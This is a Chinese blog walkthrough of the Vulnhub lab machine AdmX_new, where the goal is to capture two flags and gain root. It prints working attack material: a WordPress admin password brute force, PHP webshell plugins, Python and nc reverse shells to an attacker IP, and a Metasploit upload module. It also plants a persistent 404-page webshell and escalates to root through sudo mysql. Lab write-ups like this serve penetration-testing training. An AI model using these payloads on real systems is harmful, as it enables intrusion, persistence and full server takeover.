IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 和我一起Vulnhub靶机系列: AdmX_new -> 正文阅读

[网络协议]和我一起Vulnhub靶机系列: AdmX_new

前言提要

靶机地址: https://download.vulnhub.com/admx/AdmX_new.7z

难度等级: 中

打靶目标: 取得 2 个 flag + root 权限

本周的靶机中部署了Wordpress应用,最终我们利用系统权限配置缺陷和MySQL自身的特性完成了最终的提权,这与我们以往的提权方式非常不同,希望对大家日后的实战渗透思路有所帮助!

常见的后台管理页面getshell的方法有:

  • 页面源码修改(主题、页面、文章或者插件的源码)
  • 命令执行(WordPress附加的一些功能)
  • 文件上传(主题、插件、图片的上传)

安装Feroxbuster

#安装Feroxbuster
$ sudo apt install feroxbuster
# 字典比较大,安装时间会比较久
$ sudo apt install seclists

image-20220531150210613

靶机攻略

涉及攻击方法:

主机发现

端口扫描

WEB路径爆破

BurpSuite内容替换

密码爆破

MSF漏洞利用

Wordpress后台漏洞利用

升级Full TTY终端

利用MySQL提权

信息收集

nmap -p80 -sV -A 192.168.147.xxx

image-20220531150402480

扫了一遍,只出现了http服务的80端口,而且是apache的默认页面

进行目录扫描,得到了/wordpress/wp-login.php和/wordpress

feroxbuster --url http://192.168.147.xxx

访问路径,加载的时候等待时间较长,且网页加载不完全。

BP内容替换

F12捕获网络数据流可以发现一些数据包向192.168.159.145请求资源,导致了资源请求失败。

image-20220531102402013

因此为了让这些资源可以正常加载,选择了BP里设置对响应头和响应体的匹配和替换。

刷新页面即可显示加载成功

image-20220531141443331

密码爆破

进入后台登录口

  • 随便输入账号密码,提示该用户不存在
  • 输入账号:admin 随便密码,提示密码错误

证明admin用户存在,所以进行密码暴力破解,可以用kali自带的字典rockyou,字典位在/usr/share/wordlists/rockyou.txt.gz,这个字典非常的全面和强大

密码:adam14

image-20220531151329267

可以注意到WordPress的版本是5.7.1,拿到之后第一个想法就是搜历史漏洞,但好像没搜出来好用的,于是就只能从WordPress一些功能点上下手了。

我们通过文件上传(主题、插件、图片的上传)的方式进行后台管理页面getshell

image-20220531151522160

第一种Getshell

<?php
/**
Plugin Name: webshell
Plugin URI: https://www.baidu.com/
Description: webshell
Version: 1.0
Author: kkboss
Author URI: https://www.baidu.com/
License: https://www.baidu.com/
*/

if(isset($_GET['kk']))
    {
        system($_GET['kk']);
    }
?>

上传一个php的shell,压缩成Zip,点击install now,上传刚刚的test.zip

image-20220531143740600

点击Activate Plugin,激活插件

image-20220531143907783

木马插件保存在/wordpress/wp-content/plugins/shell.php?kk=id,可以成功执行命令

image-20220531144047868

利用该马子,反弹shell

这里使用nc和bash都不能反弹shell,而靶机存在python3环境,所以可以使用python 反弹shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.147.xxx",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

kali端

nc -lvnp 1234

image-20220531152127169

去到/home/wpadmin,尝试cat local.txt无权限

查看配置文件wp-config.php,得到密码:Wp_Admin#123,但是su wpadmin失败,尝试密码:adam14,成功!!!

cd /home
ls
cd wpadmin
sudo wpadmin
#密码:adam14
ls
cat local.txt

image-20220531152340633

Mysql提权

sudo -l发现mysql可以不用root密码以执行root权限

sudo /usr/bin/mysql -u root -D wordpress -p,再次输入密码adam14。

这里是可以执行系统命令的,所以轻松获取第二个flag

sudo -l
sudo /usr/bin/mysql -u root -D wordpress -p
#密码:adam14
system id 

image-20220531152520755

system bash
cd /root/
ls
cat proof.txt

image-20220531152612426

第二种Getshell

<?php
/**
* Plugin Name: Shell
* Plugin URI: http://tuzk1.top
* Description: WordPress Shell for pentesting
* Version: 1.0
* Author: Tuzk1
* Author URI: http://tuzk1.top
* License: http://tuzk1.top
*/
@eval($_POST['Tuzk1']);
?>

然后zip压缩一下即可上传,之后active激活即可。

webshell的地址是/wordpress/wp-content/plugins/webshell.php然后通过提交POST参数反弹shell即可:

# nc串联
system('nc 192.168.100.62 3333 | /bin/bash | nc 192.168.100.62 4444');
# 但是为了后续继续渗透蚁剑连接后尝试用python3
which python3
# 反弹shell(记得在客户端监听)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.62",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
# 也可以通过MSF:搜索exp,指定exp,显示配置信息,进行配置
# 但是通过MSF获得的shell功能可能并不完全,因此后续演示是基于python3反弹得到的shell
$ msfconsole
msf6> search wordpress admin
msf6> use exploit/unix/webapp/wp_admin_shell_upload
msf6> show options
msf6> set USERNAME admin
msf6> set PASSWORD adam14
msf6> set RHOSTS 192.168.100.61
msf6> set TARGETURI /wordpress
msf6> run
meterpreter> shell

此外,在通过webshell反弹shell之后,我们可以在404页面中写入一个shell,在真实的渗透中,这样的做法会降低webshell被管理员发现的风险,并且在目标机器的环境改变 / 漏洞修复之后也还能继续连接。但是,凭借现在反弹得到的webshell是无法直接进行文件编辑的(因为不是完全交互式的shell),因此需要将shell升级到FullTTY模式:

# 这个方法只适用于bash
# kali默认使用zsh,确认是否存在bash
$ ls /bin/bash
# 切换到bash
$ chsh -s /bin/bash
# 重启后查看shell是否成功修改
$ reboot
$ echo $SHELL

然后重新反弹shell后(如果是使用python3反弹shell)继续升级shell

# ctrl + z将webshell放到后台
$ stty raw -echo
$ fg
$ export SHELL=/bin/bash
$ export TERM=screen
$ stty rows 38 columns 16
$ reset
# 编辑404页面,插入蚁剑一句话,主题是twentytwentyone(如果显示错乱请修改终端字体大小)
$ vi /var/www/html/wordpress/wp-content/themes/twentytwentyone/404.php

之后就是信息收集和提权了:

# 可以发现一个wpadmin账户
$ cat /etc/passwd
# 看看wpadmin下的文件,有一个local.txt,但是没权限打开
$ ls /home/wpadmin
# 尝试内核提权失败
# 尝试suid、sudo提权失败
# 尝试MySQL提权,先查看配置文件,账密是admin/Wp_Admin#123
$ cat /var/www/html/wordpress/wp-config.php
# 登录,失败
$ mysql -u admin -p Wp_Admin#123 -D wordpress
# 尝试用之前web管理员的密码登录wpadmin,成功登入
$ su wpadmin
# 拿到第一个flag
$ cat local.txt
# sudo提权
$ mysql -u admin -p Wp_Admin#123 -D wordpress
# 通过mysql的system命令执行(或者\!)
> system id
uid=0(root) gid=0(root) groups=0(root)
# 切换shell
> \! /bin/bash
# 拿到第二个flag
$ cat /root/proof.txt

第二种getshell来源: Tuzk1
文章链接: http://tuzk1.top/posts/80d7ff5f.html

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-06-08 19:15:14  更:2022-06-08 19:15:37 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 11:44:14-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码